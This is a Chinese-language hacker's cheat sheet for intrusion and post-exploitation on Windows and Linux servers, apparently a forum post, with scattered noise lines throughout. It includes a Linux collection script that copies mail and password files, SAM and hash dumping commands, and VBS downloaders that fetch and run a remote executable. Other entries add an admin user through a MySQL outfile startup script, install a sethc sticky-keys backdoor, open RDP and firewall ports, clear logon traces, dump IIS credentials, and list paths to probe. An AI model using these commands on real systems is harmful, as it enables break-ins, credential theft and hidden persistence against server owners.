1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
$ E. M2 t- Y9 m) n/ t( P. L注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
* D& N- H; W! @& F若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
  }# s( C2 v- D: m. K. W那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
, a* T  ^  C, T6 B
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
( i  s( R" e% I/ l命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
: q5 g1 Z7 u. a. [# w* e% i8 }6 \——————————————
2、收集系统信息的脚本  
for window：

( k5 t6 ~& H0 C5 s% H@echo off
% ?; R( D$ N# R9 E5 t+ P0 Cecho #########system info collection
: c. G3 }6 m5 w1 Msysteminfo
ver
1 Z9 k( }0 _1 r' C: ohostname
- L% ]* z. I+ o+ n' snet user
: Y0 ]2 b. W% u8 H) y% onet localgroup
net localgroup administrators
' L) S1 B4 H' B& j: p  Pnet user guest
net user administrator
4 g' W! n, ?( e6 n/ i/ ~! g
" O* R5 A/ _3 ^* N" cecho #######at- with   atq#####
  [" S) @( f, _) u. O! ~echo schtask /query

echo
* r+ \% W; T" f& F" M( ?echo ####task-list#############
& l8 x! `" o  T! P$ v* [! G* utasklist /svc
" r8 U8 R3 J: K  \$ y8 jecho
  s: N6 Q' `! k4 n7 h1 @# |echo ####net-work infomation
ipconfig/all
+ m: I) w' W6 `  I, }' E4 mroute print
arp -a
0 _+ q: [/ b+ ^5 X: |netstat -anipconfig /displaydns
echo
5 U& ]/ a& X( necho #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
$ L* r6 J& \, k9 bfor linux：
+ x, Y. i3 t! j
: N3 t* Q  {% D5 |: F#!/bin/bash
4 j) B% @9 Y& r- S* u  w6 V4 Q
echo #######geting sysinfo####
! f* A6 ^% H0 Qecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
$ a1 t. _/ g: u# M- U( J9 M" techo #######basic infomation##
& u! ]: m. I$ N3 y* D+ Jcat /proc/meminfo
echo
, F3 l/ N8 n. V. [cat /proc/cpuinfo
echo
9 @9 {0 T1 ^9 K6 lrpm -qa 2>/dev/null
$ R* K& B: X! P+ {& |2 b8 q######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

3 U/ B5 J4 V0 `: I' i
- k& e' w) G+ z; \echo 'u'r id is' `id`
# g- w* h4 y) i$ q% z2 pecho ###atq&crontab#####
+ @' k. r0 W+ O, D2 Xatq
* D' M8 |( b: o+ F& E7 D4 ^; scrontab -l
& \! _1 ^# F, v$ w$ f, `0 H, o" u; x) pecho #####about var#####
8 U$ s6 N. N  xset

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
* V$ B/ s# O& Y9 e8 ?. u6 E+ Jcat /etc/hosts
hostname
ipconfig -a
5 Y" H3 _/ f$ D5 `; O2 ?+ darp -v
echo ########user####
cat /etc/passwd|grep -i sh
0 |# k: N& A4 i$ Y1 w
echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
. L7 k* y. ^1 A8 xsleep 5
; A5 ?, T6 F9 r( \+ Blocate password >>/tmp/password 2>/dev/null
sleep 5
- [) M  d% T" J4 O1 Llocate conf >/tmp/sysconfig 2>dev/null
4 K" C  u# t# h4 e' l: Isleep 5
locate config >>/tmp/sysconfig 2>/dev/null
  K" i& j/ ?3 W9 n. D- y1 msleep 5
" z, f6 g% x  L3 c0 e
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
% R# M/ z3 H1 k5 urm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
2 ?$ U9 `+ c1 q& |# C3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
+ b  G! A8 D. |/ D4 w; V% E" H9 Gecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
) n4 U6 V6 ]4 E+ wecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
- a, f% i* }" qecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
8 b- |2 ^% v% F: q% Cecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
3 |" q* @# T$ ocftmon.vbs

. t% q% u/ B) z( I2
  W9 n6 S- S% _On Error Resume Nextim iRemote,iLocal,s1,s2
# Y9 d0 F$ N6 ~3 s, G5 @) F# HiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
$ V9 Y" V% F6 O7 c8 a5 |5 f& Qs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& c9 C1 W% V# HSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
  x0 V+ \1 S& MSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
9 p3 W) M) ~! FsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

4 l: M# X5 V9 v# hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

% c% w2 n1 m9 Z9 W+ z' b4 v0 I/ B当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
, f1 y% F7 x2 [8 m) e% ^——————————————————
8 K, R6 a. l" Q: l. G- o8 A5、
) ?7 t, G' {4 N1 X2 R. N1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
6 z- A% o& K, D+ E* U, M; @REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
5 g6 u7 E7 @8 R4 `* U& S$ d————————————————
4 |. X( x# U  A' Z( ^7 U, y; K) B6、create table a (cmd text);
" f$ ]/ w9 T+ l1 \* J! t( V! C. finsert into a values ("set wshshell=createobject (""wscript.shell"")");
7 Q" C  A. [& K0 ?# w# l$ |insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
) L+ L) t) b' a1 \& u3 z; U: }select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
* I, p! u! [8 E# l1 n_____
5 V" g* C# O9 j6 ^" f' S* R8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
8 B, p  F+ L; p# _; k3 T; N. J  
' Z9 b$ i) h8 k$ [4 d  for /d %i in (???) do @echo %i
# R" c# z! ?  b
把当前路径下文件夹的名字只有1-3个字母的打出来

3 q) u; S3 k$ s9 a7 v* N5 \% q2.for /r %i in (*.exe) do @echo %i
  
) R! b3 a$ \; I  z- d" S( d; H以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
  H0 [' K" Y- x2 d; l
: }) ]! F* ]7 ^; [1 x0 N* ~2 qfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
) l/ w1 u. [4 ^' Z$ x- C1 I9 `  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
) D: {0 P( _- p# J3 J, R7 w——————————
●注册表:
  K+ J8 u$ e6 \1 S1.Administrator注册表备份:
( G' N+ I1 S9 r2 U! zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
* A3 O& J) N/ N- n3 J" _
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
3 k7 Y9 \9 m: v2 m/ F1 Q5 j
9 o0 r4 S/ |& C' |" Q+ ~7 b$ e9 F2 G3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
' g- C& P* O) L3 W5 `* Z8 a/ G
# D: m; m  D1 k; V; E' \4.Radmin密码:
2 h% F% b+ f5 J+ G& a3 B5 t, Vreg export HKLM\SYSTEM\RAdmin c:\a.reg

! a/ u0 [- x, U# S& }5.禁用TCP/IP端口筛选(需重启):
. J2 R' w3 j" l. h: `1 eREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
1 p' f( E+ P' a" q0 ^
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
# c/ B; V# i& C! `' U) D! x% ]或者
netsh ipsec dynamic set config ipsecexempt value=0
/ `+ u' x0 T/ r: T" q5 x
9 w  w; o4 r8 O) e. D+ L7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
1 {* a. h" H1 [' [1 l+ _reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
* @. _3 H, W9 a
9.另类方法抓系统密码HASH
0 e" q  e) K' {) Treg save hklm\sam c:\sam.hive
) t. f& S$ q, ^/ y& Y' ?8 Ireg save hklm\system c:\system.hive
6 Y; n; q3 {4 }* f( qreg save hklm\security c:\security.hive

: i; H- B7 W7 T10.shift映像劫持
7 M  v, ~6 J. vreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
9 d) s  `5 B8 P# ]/ t
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
" M9 N2 h6 f* G! z-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
, k" G( b4 [4 F; [4 ~For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
: p# p) N! j3 r  s: T) g/ d  V/ wif IsNumeric(childObjectName)=true then
% i, n1 o* X. \set IIs=objservice.GetObject("IIsWebServer",childObjectName)
* _% s9 Z7 ^; o) sif err.number<>0 then
3 j( C7 F+ L/ ~; Wexit for
  r7 B* R" G5 @5 Emsgbox("error!")
& V0 F9 h5 r# L7 F' ?. F* \+ \wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
5 b+ \; G2 ^/ m0 Hset IISweb=iis.getobject("IIsWebVirtualDir","Root")
! s$ }$ x/ _, C3 juser=iisweb.AnonymousUserName
# a- i4 G6 s! V+ E* |pass=iisweb.AnonymousUserPass
+ f. L) R8 p7 J( Y* cpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
+ I: b: g$ V- y, v- `( Qend if
Next
4 y- U3 s4 ?# F- u' v" zwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
5 `- E" a, }% ^! U" w( X2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
" x+ m( F, ?) A/ f# `. s<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
+ J; r1 Y+ d0 W* l然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
) m+ e; [/ r% N& p1 ~( n3 |PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
3 c  `! v) w8 kasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
! i- i/ f! r. P/ `1 ^8 W url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

& w) M* A  d: P==============================================================
LINUX常见路径：
' B/ d$ h( P+ N3 u' B) a9 {
/etc/passwd
7 I+ ?1 ^  P, `+ X; G6 `  z/etc/shadow
8 D/ {" b1 a* |: X9 D: e& e% w0 o/ i' t% l/etc/fstab
/etc/host.conf
/etc/motd
( R" A) N9 T" v/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
6 \( _: a3 \) K) i/var/www/htdocs/index.html
! Z, O* d- j" ~5 p& g/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
8 z4 {; K7 C/ a. |: K/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
; Q6 S" N, S2 \( V+ C4 S' s! I/opt/www/htdocs/index.html
; s, i4 c# j' R% E4 l% W9 W% e/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
& Y% f: h8 X/ ]* h( p( {( h$ h% r/usr/local/apache2/htdocs/index.html
. V* q: v* v# B& A8 [7 o/ B4 ^/usr/local/apache2/htdocs/index.php
" f9 h) w) a9 M/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
3 [* g% J# w' E/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
2 \4 h' x! `% _4 V( O/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
  `) S* c% \% ^$ P( f/www/php4/php.ini
# f( k3 C9 |3 V+ z$ M/ \& Q( C/ P; o/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
4 T. {5 ]/ s7 `/ a- i. U0 Q/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
& I. h2 r2 v7 J0 N/etc/phpmyadmin/config.inc.php
4 q: O) A0 j. G/ k# `/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
  z) V' T& m5 `8 R  v! O! y/etc/httpd/logs/error_log
) @& r1 `0 i! ?) L/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
! `2 h7 U0 a6 A3 w4 a/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
. m0 E( p5 R8 Z9 Y9 R1 d/var/log/apache/access_log
) t3 y, c# r2 O1 ?4 r! O/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
+ V2 _$ i/ t' S% S' f/var/log/apache2/access.log
2 x! S, b1 X. G9 G5 H; F# {% l) s' z/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
4 W  a  J( A1 O/var/log/error_log
; |/ H3 O9 s* ~0 g$ \/var/log/error.log
/var/log/access_log
8 b& i$ y8 K- @/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/ @# Y% ?- x! g  D- W+ D# k/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
3 {0 W8 K, }% p' t9 W9 K/bin/php.ini
/etc/init.d/httpd
1 p$ [8 {2 P* l1 ]2 m/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
9 q& Z9 y2 x( @3 L/ i' @+ b: u9 J0 u/usr/local/php/lib/php.ini
9 g: j! _. r0 {% k$ N- Z/usr/local/php4/lib/php.ini
7 ?, y! ]5 Z+ ]/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
; e) B; x) h. r9 g/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
2 k& y0 x3 b, J2 R' U; K' x% s/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/ [4 L" K. k5 Q9 ^3 S/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
, p; G/ j5 n" H3 F3 ^1 i  j' q/etc/php/apache2/php.ini
5 k/ n- t- ^, h7 Q! c/web/conf/php.ini
/usr/local/Zend/etc/php.ini
- u" ~' J: e5 e2 |, Z' ?( ]; Y/opt/xampp/etc/php.ini
$ M+ t- T* N/ I  V% g( l1 |7 m/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
: L( v; @! d( P& }/etc/php/cgi/php.ini
: S3 a8 x: d6 E3 X) D3 h/etc/php4/cgi/php.ini
2 ]2 [8 Q6 v# j/ a( r* H! }# ]3 V/etc/php5/cgi/php.ini
2 Y) ]4 ?8 S. @- \' R2 _8 v. X% A/php5/php.ini
/php4/php.ini
/php/php.ini
& w  d5 X& x: a3 P/PHP/php.ini
) r) A- i8 N: a0 ^/apache/php/php.ini
) s0 Y- z3 t, [( u/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/ t, Z: ~6 j' M+ B1 ^- |/var/log/mysql/mysql-bin.log
/ S. T3 C9 X) \. q$ r/var/log/mysql.log
/var/log/mysqlderror.log
: S2 E' f' h& m% V  Z$ x& g3 Z/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/ m) }4 v9 {9 y) M) x/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
8 ]; ]; }$ j" x. a9 S$ Q/usr/local/cpanel/logs/access_log
) @5 C/ T- l$ z/ Q  c/usr/local/cpanel/logs/error_log
1 c4 j. m3 \5 a: L& K  N/usr/local/cpanel/logs/license_log
8 B( Z# x! X+ Q+ U/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
3 v; ^$ ?, K& i% q6 }9 B/usr/local/share/examples/php4/php.ini
# @: {7 g0 o( a1 F: V/usr/local/share/examples/php/php.ini
& [/ ?. k5 s$ ~: z' j
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

- e( |1 V' [3 b" [0 w9 F8 b* yc:\windows\php.ini
c:\boot.ini
! t& ]" r6 R3 }, v% ?c:\1.txt
* C3 q8 Z$ Y0 n4 c& Lc:\a.txt
! f  C' W2 t, m: k: `1 g6 `# l
4 z: @% `; D7 j" Bc:\CMailServer\config.ini
/ E: P$ `8 E% d9 w& Pc:\CMailServer\CMailServer.exe
8 t8 n$ e0 |5 V2 r7 U' M% T# Ec:\CMailServer\WebMail\index.asp
% i7 _6 n2 s1 v* Z- \c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
3 L- \; m3 h9 K% s' s: mC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
6 h/ e4 k! `/ T8 q2 b! z  d$ @C:\WINDOWS\7i24tool.exe
/ \- ?7 O% D8 i
& W: c  b4 t8 Cc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

9 n1 g: [# f* }% ?8 G0 G% hC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
) v. r1 N& [+ k  J1 L0 D1 j6 P) VC:\WINDOWS\web.config
- Y& k3 d2 S4 i; U  ^6 U/ R+ L; kc:\web\index.html
" J) J2 A1 n# X# Y7 f* p4 ?c:\www\index.html
1 s! Z8 K$ Z  e. Q: i9 @# gc:\WWWROOT\index.html
9 U/ T* b$ K& e6 k+ M! k6 jc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
" Q5 _8 W/ S- I: i, k5 m7 rc:\WWWROOT\index.asp
0 n$ K" b+ v& Z: H! A+ [c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
% e7 I2 d1 i( ]c:\WWWROOT\default.html
c:\website\default.html
, t% R5 R+ N1 v- h% y8 y7 V) sc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
9 n9 F: b) F6 P3 o2 uc:\www\default.php
$ F  D4 F  x  ~  e& r3 X: Kc:\WWWROOT\default.php
c:\WWWsite\default.php
( Y5 w5 G  C7 l2 VC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
# _9 T2 k" y& [9 U+ a, ]1 fC:\Program Files\Microsoft Office\OFFICE10\winword.exe
$ L# ?9 `7 e3 o& U8 ]7 MC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
( Q8 P0 w4 _1 f# J( `! ^C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
0 |/ h% h& ^! N0 B% V0 Gc:\ravbin\store.ini
* P; k2 l) i6 u8 I7 Sc:\rising.ini
* G, }5 Q  L; W; j7 i2 d. ^" SC:\Program Files\Rising\Rav\RsTask.xml
6 }! O, I1 D2 |/ ~. hC:\Documents and Settings\All Users\Start Menu\desktop.ini
3 [6 m5 p' J; qC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
* m1 f2 h8 T; A  k2 qC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
- Z" o9 q& H4 e# ~% d8 B" |E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  g  ^$ m: m2 v0 Y& Q9 F/ [C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
0 K( A/ u5 P0 Z2 `0 v2 rC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
1 i/ l) J8 d6 u+ x* V; R2 e, nC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
. `4 H2 P4 g6 G; cC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
5 }0 O/ T% n7 U* v. C- v" mC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
$ ]( N/ W; J  i3 ]9 l6 zC:\MySQL\MySQL Server 5.0\my.ini
9 r3 w* r+ O3 g  eC:\Program Files\MySQL\MySQL Server 5.0\my.ini
1 v# C& q/ }5 M9 F- _  M0 OC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
& r0 b) q) q6 E: _# |C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
- R9 {( _! ?$ T) N" _c:\MySQL\MySQL Server 4.1\bin\mysql.exe
; u& h% `4 q' _2 W8 u' p# Oc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
9 M5 e0 X; M: zC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
& I" b& W/ \1 P+ P8 y$ r0 {+ KC:\WINDOWS\system32\inetsrv\w3wp.exe
) O! y6 _( p8 {- Y! o' _* ~C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
, i- T8 F: w: D2 j* T( e7 dC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
0 ]; _7 }" R, d! S9 ]C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
* k+ E& Q! \7 q7 L- Jc:\program files\CMailServer\config.ini
2 h- e3 B/ F( _& l( ~c:\tomcat6\tomcat6\bin\version.sh
: p, B3 s$ F0 rc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
# g8 v! Q( J9 A# Nc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
. D# |3 S7 [2 j  p) _: M+ Cc:\Apache2\php\license.txt
2 T+ i% [0 B! w+ F. `9 x! J) NC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
  n/ r; q  N0 v1 v5 D5 W/usr/share/tomcat6/bin/startup.sh
& }# f4 A; L+ p( n; O7 Q' O/usr/tomcat6/bin/startup.sh
, ~/ q8 o* \3 Sc:\Program Files\QQ2007\qq.exe
, G5 G. r4 M, B) p( yc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
0 ?& u; N" A0 h5 cc:\Program Files\Tencent\qq\bin\qq.exe
9 K6 r5 V% r  p4 n" ]2 a4 p7 A0 V4 uc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
" v/ X" H4 S/ Ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
$ a/ }; }3 A- F' \- m9 V& Ac:\Program Files\Tencent\RTXServer\AppConfig.xml
* _, Q' _! y6 O! \  DC:\Program Files\Foxmal\Foxmail.exe
0 F! B6 f6 @& I/ x$ iC:\Program Files\Foxmal\accounts.cfg
4 V1 u" o2 w- a9 I& EC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
7 E9 I9 R* L( o2 _" kC:\Program Files\LeapFTP 3.0\LeapFTP.exe
